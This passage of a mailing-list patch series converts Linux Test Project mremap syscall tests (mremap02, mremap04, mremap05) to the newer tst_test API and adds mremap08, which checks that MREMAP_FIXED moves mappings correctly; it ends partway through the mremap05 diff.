Message-ID: <20260807-rewrite_mremap_testing_suite-v3-4-dcca6d4ac0f1@suse.com>

From: Andrea Cervesato <andrea.cervesato@suse.com>

Convert the mremap04 test case from the legacy LTP API to the new
tst_test API.

Rewrite the test to use TST_EXP_FAIL_PTR_VOID() to verify that
mremap() fails with MAP_FAILED and ENOMEM when growing an existing
SysV shared memory mapping in place (old_size=1 page, new_size=2
pages, flags=0, no MREMAP_MAYMOVE) beyond what can be expanded at
its current virtual address.

Switch the Makefile from libltpipc to libltpnewipc, since the
new-API test now relies on GETIPCKEY() from tse_newipc.h.

Reviewed-by: Cyril Hrubis <chrubis@suse.cz>
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 testcases/kernel/syscalls/mremap/Makefile   |   3 -
 testcases/kernel/syscalls/mremap/mremap04.c | 265 +++++-----------------------
 2 files changed, 43 insertions(+), 225 deletions(-)

diff --git a/testcases/kernel/syscalls/mremap/Makefile b/testcases/kernel/syscalls/mremap/Makefile
index 8811b887e..e774bac01 100644
--- a/testcases/kernel/syscalls/mremap/Makefile
+++ b/testcases/kernel/syscalls/mremap/Makefile
@@ -3,11 +3,8 @@
 
 top_srcdir		?= ../../../..
 
-LTPLIBS = ipc
-
 include $(top_srcdir)/include/mk/testcases.mk
 
-mremap04: LTPLDLIBS  = -lltpipc
 mremap07: LDLIBS  += -lpthread
 
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/mremap/mremap04.c b/testcases/kernel/syscalls/mremap/mremap04.c
index 53902df73..e9e394188 100644
--- a/testcases/kernel/syscalls/mremap/mremap04.c
+++ b/testcases/kernel/syscalls/mremap/mremap04.c
@@ -1,245 +1,66 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines Corp., 2001
+ * 07/2001 Ported by Wayne Boyer
+ * 11/2001 Modified by Manoj Iyer <manjo@austin.ibm.com>
+ * 02/2008 Modified by Renaud Lottiaux <Renaud.Lottiaux@kerlabs.com>
+ * Copyright (c) Linux Test Project, 2026
  */
 
-/*
- * Test Name: mremap04
- *
- * Test Description:
- *  Verify that,
- *   mremap() fails when used to expand the existing virtual memory mapped
- *   region to the requested size, if the memory area cannot be expanded at
- *   the current virtual address and MREMAP_MAYMOVE flag not set.
- *
- * Expected Result:
- *  mremap() should return -1 and set errno to ENOMEM.
+/*\
+ * Verify that :manpage:`mremap(2)` fails with errno ``ENOMEM`` when it is used
+ * to expand an existing mapping in place, if the region cannot be expanded at
+ * the current virtual address and the ``MREMAP_MAYMOVE`` flag is not set.
  *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Create temporary directory.
- *   Pause for SIGUSR1 if option specified.
+ * [Algorithm]
  *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
- *	if errno set == expected errno
- *		Issue sys call failed with expected return value and errno.
- *	Otherwise,
- *		Issue sys call failed with unexpected errno.
- *   Otherwise,
- *	Issue sys call returns unexpected value.
- *
- *  Cleanup:
- *   Print errno log and/or timing stats if options given
- *   Delete the temporary directory(s)/file(s) created.
- *
- * Usage:  <for command-line>
- *  mremap04 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -p x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- *      11/09/2001 Manoj Iyer (manjo@austin.ibm.com)
- *      Modified.
- *      - #include <linux/mman.h> should not be included as per man page for
- *        mremap, #include <sys/mman.h> alone should do the job. But inorder
- *        to include definition of MREMAP_MAYMOVE defined in bits/mman.h
- *        (included by sys/mman.h) __USE_GNU needs to be defined.
- *        There may be a more elegant way of doing this...
- *
- *      26/02/2008 Renaud Lottiaux (Renaud.Lottiaux@kerlabs.com)
- *      - Fix concurrency issue. Use a shm key from getipckey instead of
- *        a fixed hard-coded value.
- *
- * RESTRICTIONS:
- *  None.
+ * - map an anonymous region of two pages
+ * - call mremap() on the mapped address to grow it from one page to two
+ *   pages with ``flags`` set to 0 (no ``MREMAP_MAYMOVE``)
+ * - expect the call to fail with ``MAP_FAILED`` and ``ENOMEM``
  */
+
 #define _GNU_SOURCE
-#include <errno.h>
-#include <unistd.h>
 #include <sys/mman.h>
-#include <sys/ipc.h>
-#include <sys/shm.h>
+#include "tst_test.h"
 
-#include "test.h"
+static void *addr = MAP_FAILED;
+static size_t memsize;
+static size_t newsize;
 
-#define SHM_MODE	(SHM_R | SHM_W)	/* mode permissions of shared memory */
-
-char *TCID = "mremap04";
-int TST_TOTAL = 1;
-char *addr;			/* addr of memory mapped region */
-char *shmaddr;			/* pointer to shared memory segment */
-int shmid;			/* shared memory identifier. */
-int memsize;			/* memory mapped size */
-int newsize;			/* new size of virtual memory block */
-
-void setup();			/* Main setup function of test */
-void cleanup();			/* cleanup function for the test */
-
-extern int getipckey();
-
-int main(int ac, char **av)
+static void setup(void)
 {
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/*
-		 * Attempt to expand the existing shared
-		 * memory region of newsize by newsize limits
-		 * using mremap() should fail as specified
-		 * memory area already locked and MREMAP_MAYMOVE
-		 * flag unset.
-		 */
-		errno = 0;
-		addr = mremap(shmaddr, memsize, newsize, 0);
-		TEST_ERRNO = errno;
-
-		/* Check for the return value of mremap() */
-		if (addr != MAP_FAILED) {
-			tst_resm(TFAIL,
-				 "mremap returned invalid value, expected: -1");
-
-			/* Unmap the mapped memory region */
-			if (munmap(addr, newsize) != 0) {
-				tst_brkm(TFAIL, cleanup, "munmap failed to "
-					 "unmap the expanded memory region, "
-					 "error=%d", errno);
-			}
-			continue;
-		}
-
-		if (TEST_ERRNO == ENOMEM) {
-			tst_resm(TPASS, "mremap() failed, "
-				 "'MREMAP_MAYMOVE flag unset', "
-				 "errno %d", TEST_ERRNO);
-		} else {
-			tst_resm(TFAIL, "mremap() failed, "
-				 "Unexpected errno %d", TEST_ERRNO);
-		}
-	}
-
-	cleanup();
-	tst_exit();
+	memsize = getpagesize();
+	newsize = memsize * 2;
 
+	addr = SAFE_MMAP(NULL, newsize, PROT_READ | PROT_WRITE,
+			 MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test.
- *
- * Get system page size, Set the size of virtual memory area and the
- * newsize after resize,
- * Create a named shared memory segment SHMKEY of newsize and mode SHM_MODE
- * by using shmget() which returns a shared memory identifier associated
- * with the created shared memory segment.
- * Call shmat() to attach the shared memory segment to the data segment of the
- * calling process. The segment is attached at the first available address as
- * selected by the system.
- */
-void setup(void)
+static void run(void)
 {
-	key_t shmkey;
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	/* Get the system page size */
-	if ((memsize = getpagesize()) < 0) {
-		tst_brkm(TBROK, NULL,
-			 "getpagesize() failed to get system page size");
-	}
-
-	/* Get the New size of virtual memory block after resize */
-	newsize = (memsize * 2);
-
-	/* get an IPC resource key */
-	shmkey = getipckey();
-
 	/*
-	 * Create a shared memory segment represented by SHMKEY of
-	 * specified size 'newsize' and mode permissions 'SHM_MODE'.
+	 * Pass old_size of one page while the segment is two pages: the
+	 * mismatch is intentional and must be preserved. The next page
+	 * is occupied by our own mapping, so it cannot be expanded in place.
 	 */
-	shmid = shmget(shmkey, newsize, IPC_CREAT | SHM_MODE);
-	if (shmid == -1) {
-		tst_brkm(TBROK, NULL, "shmget() Failed to create a shared "
-			 "memory, error:%d", errno);
-	}
+	TST_EXP_FAIL_PTR_VOID(mremap(addr, memsize, newsize, 0), ENOMEM);
 
-	/*
-	 * Attach  the shared memory segment associated with the shared
-	 * memory identifier specified by "shmid" to the data segment of
-	 * the calling process at the first available address as selected
-	 * by the system.
-	 */
-	shmaddr = shmat(shmid, NULL, 0);
-	if (shmaddr == (void *)-1) {
-		tst_brkm(TBROK, cleanup, "shmat() Failed to attach shared "
-			 "memory, error:%d", errno);
+	if (TST_RET_PTR != MAP_FAILED) {
+		SAFE_MUNMAP(TST_RET_PTR, newsize);
+		addr = SAFE_MMAP(NULL, newsize, PROT_READ | PROT_WRITE,
+				 MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
 	}
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *             completion or premature exit.
- *	       Detach the shared memory segment and remove the shared memory
- *	       identifier associated with the shared memory.
- */
-void cleanup(void)
+static void cleanup(void)
 {
-
-	/*
-	 * Detach the shared memory segment attached to
-	 * the calling process's data segment
-	 */
-	if (shmdt(shmaddr) < 0) {
-		tst_brkm(TFAIL, NULL, "shmdt() Failed to detach shared "
-			 "memory, error:%d", errno);
-	}
-
-	/*
-	 * Remove the shared memory identifier associated with
-	 * the shared memory segment and destroy the shared memory
-	 * segment.
-	 */
-	if (shmctl(shmid, IPC_RMID, 0) < 0) {
-		tst_brkm(TFAIL, NULL, "shmctl() Failed to remove shared "
-			 "memory, error:%d", errno);
-	}
-
-	tst_rmdir();
-
-	/* Exit the program */
-
+	if (addr != MAP_FAILED)
+		SAFE_MUNMAP(addr, newsize);
 }
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = run,
+};

-- 
2.51.0


From andrea.cervesato@suse.de  Fri Aug  7 14:17:11 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Fri, 07 Aug 2026 14:17:11 +0200
Subject: [LTP] [PATCH v3 2/7] mremap02: Convert to new API
In-Reply-To: <20260807-rewrite_mremap_testing_suite-v3-0-dcca6d4ac0f1@suse.com>
References: <20260807-rewrite_mremap_testing_suite-v3-0-dcca6d4ac0f1@suse.com>
Message-ID: <20260807-rewrite_mremap_testing_suite-v3-2-dcca6d4ac0f1@suse.com>

From: Andrea Cervesato <andrea.cervesato@suse.com>

Convert the mremap02 test case from the legacy LTP API to the new
tst_test API.

Rewrite the test to explicitly construct a genuinely non-page-aligned
old_address by mapping a single anonymous page and offsetting it by one
byte, replacing the original's reliance on an uninitialized global
pointer. Use TST_EXP_FAIL_PTR_VOID() to verify that mremap() fails with
MAP_FAILED and EINVAL when expanding the mapping.

Reviewed-by: Cyril Hrubis <chrubis@suse.cz>
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 testcases/kernel/syscalls/mremap/mremap02.c | 201 ++++++----------------------
 1 file changed, 44 insertions(+), 157 deletions(-)

diff --git a/testcases/kernel/syscalls/mremap/mremap02.c b/testcases/kernel/syscalls/mremap/mremap02.c
index 2dabc6847..354a67c89 100644
--- a/testcases/kernel/syscalls/mremap/mremap02.c
+++ b/testcases/kernel/syscalls/mremap/mremap02.c
@@ -1,178 +1,65 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines Corp., 2001
+ * 07/2001 Ported by Wayne Boyer
+ * 11/2001 Modified by Manoj Iyer <manjo@austin.ibm.com>
+ * Copyright (c) Linux Test Project, 2026
  */
 
-/*
- * Test Name: mremap02
- *
- * Test Description:
- *  Verify that,
- *   mremap() fails when used to expand the existing virtual memory mapped
- *   region to the requested size, if the virtual memory area previously
- *   mapped was not page aligned or invalid argument specified.
- *
- * Expected Result:
- *  mremap() should return -1 and set errno to EINVAL.
- *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Pause for SIGUSR1 if option specified.
- *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
- *	if errno set == expected errno
- *		Issue sys call fails with expected return value and errno.
- *	Otherwise,
- *		Issue sys call fails with unexpected errno.
- *   Otherwise,
- *	Issue sys call returns unexpected value.
- *
- *  Cleanup:
- *   Print errno log and/or timing stats if options given
+/*\
+ * Verify that :manpage:`mremap(2)` fails with errno ``EINVAL`` when it is used
+ * to expand an existing mapping while the passed ``old_address`` is not page
+ * aligned.
  *
- * Usage:  <for command-line>
- *  mremap02 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *	       -e   : Turn on errno logging.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -p x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
+ * [Algorithm]
  *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- *      11/09/2001 Manoj Iyer (manjo@austin.ibm.com)
- *      Modified.
- *      - #include <linux/mman.h> should not be included as per man page for
- *        mremap, #include <sys/mman.h> alone should do the job. But inorder
- *        to include definition of MREMAP_MAYMOVE defined in bits/mman.h
- *        (included by sys/mman.h) __USE_GNU needs to be defined.
- *        There may be a more elegant way of doing this...
- *
- *
- * RESTRICTIONS:
- *  None.
+ * - Map a single anonymous page.
+ * - Call mremap() to grow it to two pages with ``MREMAP_MAYMOVE``, passing a
+ *   deliberately misaligned ``old_address`` (mapping start + 1 byte).
+ * - Expect the call to fail with ``MAP_FAILED`` and ``EINVAL``.
  */
+
 #define _GNU_SOURCE
-#include <errno.h>
-#include <unistd.h>
-#include <fcntl.h>
 #include <sys/mman.h>
+#include "tst_test.h"
 
-#include "test.h"
-
-char *TCID = "mremap02";
-int TST_TOTAL = 1;
-char *addr;			/* addr of memory mapped region */
-int memsize;			/* memory mapped size */
-int newsize;			/* new size of virtual memory block */
+static long page_size;
+static size_t new_size;
+static void *page;
+static void *bad_addr;
 
-void setup();			/* Main setup function of test */
-void cleanup();			/* cleanup function for the test */
-
-int main(int ac, char **av)
+static void setup(void)
 {
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
+	page_size = getpagesize();
+	new_size = page_size * 2;
 
-		tst_count = 0;
-
-		/*
-		 * Attempt to expand the existing mapped
-		 * memory region (memsize) by newsize limits using
-		 * mremap() should fail as old virtual address is not
-		 * page aligned.
-		 */
-		errno = 0;
-		addr = mremap(addr, memsize, newsize, MREMAP_MAYMOVE);
-		TEST_ERRNO = errno;
-
-		/* Check for the return value of mremap() */
-		if (addr != MAP_FAILED) {
-			tst_resm(TFAIL,
-				 "mremap returned invalid value, expected: -1");
-
-			/* Unmap the mapped memory region */
-			if (munmap(addr, newsize) != 0) {
-				tst_brkm(TBROK, cleanup, "munmap fails to "
-					 "unmap the expanded memory region, "
-					 "error=%d", errno);
-			}
-			continue;
-		}
-
-		if (errno == EINVAL) {
-			tst_resm(TPASS, "mremap() Failed, 'invalid argument "
-				 "specified' - errno %d", TEST_ERRNO);
-		} else {
-			tst_resm(TFAIL, "mremap() Failed, "
-				 "'Unexpected errno %d", TEST_ERRNO);
-		}
-	}
-
-	cleanup();
-	tst_exit();
+	page = SAFE_MMAP(NULL, page_size, PROT_READ | PROT_WRITE,
+			 MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
 
+	/* Force a non-page-aligned old_address, the invalid argument. */
+	bad_addr = (char *)page + 1;
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test.
- *
- * Get system page size, Set the size of virtual memory area and the
- * new size after resize, Set the virtual memory address such that it
- * is not aligned.
- */
-void setup(void)
+static void run(void)
 {
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* Get the system page size */
-	if ((memsize = getpagesize()) < 0) {
-		tst_brkm(TFAIL, NULL,
-			 "getpagesize() fails to get system page size");
+	TST_EXP_FAIL_PTR_VOID(mremap(bad_addr, page_size, new_size,
+				     MREMAP_MAYMOVE), EINVAL);
+
+	if (TST_RET_PTR != MAP_FAILED) {
+		SAFE_MUNMAP(TST_RET_PTR, new_size);
+		page = SAFE_MMAP(NULL, page_size, PROT_READ | PROT_WRITE,
+				 MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+		bad_addr = (char *)page + 1;
 	}
-
-	/* Get the New size of virtual memory block after resize */
-	newsize = (memsize * 2);
-
-	/* Set the old virtual memory address */
-	addr = (char *)(addr + (memsize - 1));
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *             completion or premature exit.
- */
-void cleanup(void)
+static void cleanup(void)
 {
-
-	/* Exit the program */
-
+	SAFE_MUNMAP(page, page_size);
 }
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = run,
+};

-- 
2.51.0


From andrea.cervesato@suse.de  Fri Aug  7 14:17:15 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Fri, 07 Aug 2026 14:17:15 +0200
Subject: [LTP] [PATCH v3 6/7] mremap08: Extract test from mremap05
In-Reply-To: <20260807-rewrite_mremap_testing_suite-v3-0-dcca6d4ac0f1@suse.com>
References: <20260807-rewrite_mremap_testing_suite-v3-0-dcca6d4ac0f1@suse.com>
Message-ID: <20260807-rewrite_mremap_testing_suite-v3-6-dcca6d4ac0f1@suse.com>

From: Andrea Cervesato <andrea.cervesato@suse.com>

Extract a new test from mremap05 that verifies the behavior of the
MREMAP_FIXED flag when:

- MREMAP_FIXED | MREMAP_MAYMOVE can move a mapping to a new, free
  address, preserving its content.
- MREMAP_FIXED | MREMAP_MAYMOVE unmaps a previously existing mapping
  at the target address range and replaces it with the moved mapping.

Reviewed-by: Cyril Hrubis <chrubis@suse.cz>
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 runtest/syscalls                            |   1 +
 testcases/kernel/syscalls/mremap/.gitignore |   1 +
 testcases/kernel/syscalls/mremap/mremap08.c | 127 ++++++++++++++++++++++++++++
 3 files changed, 129 insertions(+)

diff --git a/runtest/syscalls b/runtest/syscalls
index b024d4c43..ede795a48 100644
--- a/runtest/syscalls
+++ b/runtest/syscalls
@@ -946,6 +946,7 @@ mremap04 mremap04
 mremap05 mremap05
 mremap06 mremap06
 mremap07 mremap07
+mremap08 mremap08
 
 mseal01 mseal01
 mseal02 mseal02
diff --git a/testcases/kernel/syscalls/mremap/.gitignore b/testcases/kernel/syscalls/mremap/.gitignore
index 292899e03..dd4bf4e8e 100644
--- a/testcases/kernel/syscalls/mremap/.gitignore
+++ b/testcases/kernel/syscalls/mremap/.gitignore
@@ -5,3 +5,4 @@
 /mremap05
 /mremap06
 /mremap07
+/mremap08
diff --git a/testcases/kernel/syscalls/mremap/mremap08.c b/testcases/kernel/syscalls/mremap/mremap08.c
new file mode 100644
index 000000000..a2c589447
--- /dev/null
+++ b/testcases/kernel/syscalls/mremap/mremap08.c
@@ -0,0 +1,127 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2026 Linux Test Project
+ */
+
+/*\
+ * Verify the behavior of the ``MREMAP_FIXED`` flag of :manpage:`mremap(2)`:
+ *
+ * - ``MREMAP_FIXED | MREMAP_MAYMOVE`` can move a mapping to a new, free
+ *   address, preserving its content.
+ * - ``MREMAP_FIXED | MREMAP_MAYMOVE`` unmaps a previously existing mapping at
+ *   the target address range and replaces it with the moved mapping.
+ */
+
+#define _GNU_SOURCE
+#include <sys/mman.h>
+#include "tst_test.h"
+
+static int pagesize;
+
+static struct tcase {
+	size_t old_pages;
+	size_t new_pages;
+	int flags;
+	int free_dst;
+	const char *msg;
+} tcases[] = {
+	{
+		.old_pages = 1,
+		.new_pages = 1,
+		.flags = MREMAP_FIXED | MREMAP_MAYMOVE,
+		.free_dst = 1,
+		.msg = "move mapping to free address",
+	},
+	{
+		.old_pages = 1,
+		.new_pages = 1,
+		.flags = MREMAP_FIXED | MREMAP_MAYMOVE,
+		.free_dst = 0,
+		.msg = "move mapping onto an occupied address",
+	},
+};
+
+static void *get_test_area(size_t size, int free_area)
+{
+	void *p;
+
+	p = SAFE_MMAP(NULL, size, PROT_READ | PROT_WRITE,
+		      MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+
+	if (free_area)
+		SAFE_MUNMAP(p, size);
+
+	return p;
+}
+
+static void setup(void)
+{
+	pagesize = getpagesize();
+}
+
+static void fill_pattern(char *addr, size_t pages, char *new_addr, int free_dst)
+{
+	size_t i;
+
+	for (i = 0; i < pages; i++)
+		addr[i * pagesize] = (char)(0x1 + i);
+
+	if (!free_dst)
+		*new_addr = 0x7f;
+}
+
+static int check_pattern(char *addr, size_t pages)
+{
+	size_t i;
+
+	for (i = 0; i < pages; i++) {
+		char got = addr[i * pagesize];
+		char exp = (char)(0x1 + i);
+
+		if (got != exp)
+			return 1;
+	}
+
+	return 0;
+}
+
+static void run(unsigned int n)
+{
+	struct tcase *tc = &tcases[n];
+	char *old_address;
+	char *new_address;
+	char *ret;
+	size_t old_size = tc->old_pages * pagesize;
+	size_t new_size = tc->new_pages * pagesize;
+
+	old_address = get_test_area(old_size, 0);
+	new_address = get_test_area(new_size, tc->free_dst);
+
+	fill_pattern(old_address, tc->old_pages, new_address, tc->free_dst);
+
+	TESTPTR(mremap(old_address, old_size, new_size, tc->flags, new_address));
+	ret = TST_RET_PTR;
+
+	if (ret == MAP_FAILED) {
+		tst_res(TFAIL | TTERRNO, "%s failed", tc->msg);
+		SAFE_MUNMAP(old_address, old_size);
+		if (!tc->free_dst)
+			SAFE_MUNMAP(new_address, new_size);
+		return;
+	}
+
+	if (ret != new_address)
+		tst_res(TFAIL, "%s: ret %p, expected %p", tc->msg, ret, new_address);
+	else if (check_pattern(ret, tc->new_pages))
+		tst_res(TFAIL, "%s: pattern mismatch", tc->msg);
+	else
+		tst_res(TPASS, "%s", tc->msg);
+
+	SAFE_MUNMAP(ret, new_size);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.test = run,
+	.tcnt = ARRAY_SIZE(tcases),
+};

-- 
2.51.0


From andrea.cervesato@suse.de  Fri Aug  7 14:17:14 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Fri, 07 Aug 2026 14:17:14 +0200
Subject: [LTP] [PATCH v3 5/7] mremap05: Convert to new API
In-Reply-To: <20260807-rewrite_mremap_testing_suite-v3-0-dcca6d4ac0f1@suse.com>
References: <20260807-rewrite_mremap_testing_suite-v3-0-dcca6d4ac0f1@suse.com>
Message-ID: <20260807-rewrite_mremap_testing_suite-v3-5-dcca6d4ac0f1@suse.com>

From: Andrea Cervesato <andrea.cervesato@suse.com>

Convert the mremap05 test case from the legacy LTP API to the new
tst_test API.

Reviewed-by: Cyril Hrubis <chrubis@suse.cz>
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 testcases/kernel/syscalls/mremap/mremap05.c | 278 ++++++++--------------------
 1 file changed, 75 insertions(+), 203 deletions(-)

diff --git a/testcases/kernel/syscalls/mremap/mremap05.c b/testcases/kernel/syscalls/mremap/mremap05.c
index 971cc8e5e..4e906a044 100644
--- a/testcases/kernel/syscalls/mremap/mremap05.c
+++ b/testcases/kernel/syscalls/mremap/mremap05.c
@@ -1,239 +1,111 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (C) 2012 Linux Test Project, Inc.
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of version 2 of the GNU General Public
- * License as published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it
- * is free of the rightful claim of any third person regarding
- * infringement or the like.  Any license provided herein, whether
- * implied or otherwise, applies only to this software file.  Patent
- * licenses, if any, provided herein do not apply to combinations of
- * this program with other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
- * 02110-1301, USA.
+ * Copyright (c) 2026 Linux Test Project
  */
-/*
- * Test Name: mremap05
+
+/*\
+ * Verify the behavior of the ``MREMAP_FIXED`` flag of :manpage:`mremap(2)`
+ * when invalid arguments are provided:
  *
- * Test Description:
- *  Verify that MREMAP_FIXED fails without MREMAP_MAYMOVE.
- *  Verify that MREMAP_FIXED|MREMAP_MAYMOVE fails if target address
- *    is not page aligned.
- *  Verify that MREMAP_FIXED|MREMAP_MAYMOVE fails if old range
- *    overlaps with new range.
- *  Verify that MREMAP_FIXED|MREMAP_MAYMOVE can move mapping to new address.
- *  Verify that MREMAP_FIXED|MREMAP_MAYMOVE unmaps previous mapping
- *    at the address range specified by new_address and new_size.
+ * - ``MREMAP_FIXED`` fails with ``EINVAL`` without ``MREMAP_MAYMOVE``.
+ * - ``MREMAP_FIXED | MREMAP_MAYMOVE`` fails with ``EINVAL`` if the target
+ *   address is not page aligned.
+ * - ``MREMAP_FIXED | MREMAP_MAYMOVE`` fails with ``EINVAL`` if the old range
+ *   overlaps with the new range.
  */
 
 #define _GNU_SOURCE
-#include "config.h"
 #include <sys/mman.h>
-#include <errno.h>
-#include <unistd.h>
-#include "test.h"
-#include "tso_safe_macros.h"
+#include "tst_test.h"
 
-char *TCID = "mremap05";
+static int pagesize;
 
-struct test_case_t {
-	char *old_address;
-	char *new_address;
-	size_t old_size;	/* in pages */
-	size_t new_size;	/* in pages */
+static struct tcase {
+	size_t old_pages;
+	size_t new_pages;
 	int flags;
-	const char *msg;
-	void *exp_ret;
+	int align_offset;
+	int overlap;
+	int free_dst;
 	int exp_errno;
-	char *ret;
-	void (*setup) (struct test_case_t *);
-	void (*cleanup) (struct test_case_t *);
-};
-
-static void setup(void);
-static void cleanup(void);
-static void setup0(struct test_case_t *);
-static void setup1(struct test_case_t *);
-static void setup2(struct test_case_t *);
-static void setup3(struct test_case_t *);
-static void setup4(struct test_case_t *);
-static void cleanup0(struct test_case_t *);
-static void cleanup1(struct test_case_t *);
-
-struct test_case_t tdat[] = {
-	{
-	 .old_size = 1,
-	 .new_size = 1,
-	 .flags = MREMAP_FIXED,
-	 .msg = "MREMAP_FIXED requires MREMAP_MAYMOVE",
-	 .exp_ret = MAP_FAILED,
-	 .exp_errno = EINVAL,
-	 .setup = setup0,
-	 .cleanup = cleanup0},
-	{
-	 .old_size = 1,
-	 .new_size = 1,
-	 .flags = MREMAP_FIXED | MREMAP_MAYMOVE,
-	 .msg = "new_addr has to be page aligned",
-	 .exp_ret = MAP_FAILED,
-	 .exp_errno = EINVAL,
-	 .setup = setup1,
-	 .cleanup = cleanup0},
+	const char *msg;
+} tcases[] = {
 	{
-	 .old_size = 2,
-	 .new_size = 1,
-	 .flags = MREMAP_FIXED | MREMAP_MAYMOVE,
-	 .msg = "old/new area must not overlap",
-	 .exp_ret = MAP_FAILED,
-	 .exp_errno = EINVAL,
-	 .setup = setup2,
-	 .cleanup = cleanup0},
+		.old_pages = 1,
+		.new_pages = 1,
+		.flags = MREMAP_FIXED,
+		.free_dst = 1,
+		.exp_errno = EINVAL,
+		.msg = "MREMAP_FIXED requires MREMAP_MAYMOVE",
+	},
 	{
-	 .old_size = 1,
-	 .new_size = 1,
-	 .flags = MREMAP_FIXED | MREMAP_MAYMOVE,
-	 .msg = "mremap #1",
-	 .setup = setup3,
-	 .cleanup = cleanup0},
+		.old_pages = 1,
+		.new_pages = 1,
+		.flags = MREMAP_FIXED | MREMAP_MAYMOVE,
+		.align_offset = 1,
+		.exp_errno = EINVAL,
+		.msg = "new_addr has to be page aligned",
+	},
 	{
-	 .old_size = 1,
-	 .new_size = 1,
-	 .flags = MREMAP_FIXED | MREMAP_MAYMOVE,
-	 .msg = "mremap #2",
-	 .setup = setup4,
-	 .cleanup = cleanup1},
+		.old_pages = 2,
+		.new_pages = 1,
+		.flags = MREMAP_FIXED | MREMAP_MAYMOVE,
+		.overlap = 1,
+		.exp_errno = EINVAL,
+		.msg = "old/new area must not overlap",
+	},
 };
 
-static int pagesize;
-static int TST_TOTAL = sizeof(tdat) / sizeof(tdat[0]);
-
-static void free_test_area(void *p, int size)
-{
-	SAFE_MUNMAP(cleanup, p, size);
-}
-
-static void *get_test_area(int size, int free_area)
+static void *get_test_area(size_t size, int free_area)
 {
 	void *p;
-	p = mmap(NULL, size, PROT_READ | PROT_WRITE,
-		 MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
-	if (p == MAP_FAILED)
-		tst_brkm(TBROK | TERRNO, cleanup, "get_test_area mmap");
-	if (free_area)
-		free_test_area(p, size);
-	return p;
-}
 
-static void test_mremap(struct test_case_t *t)
-{
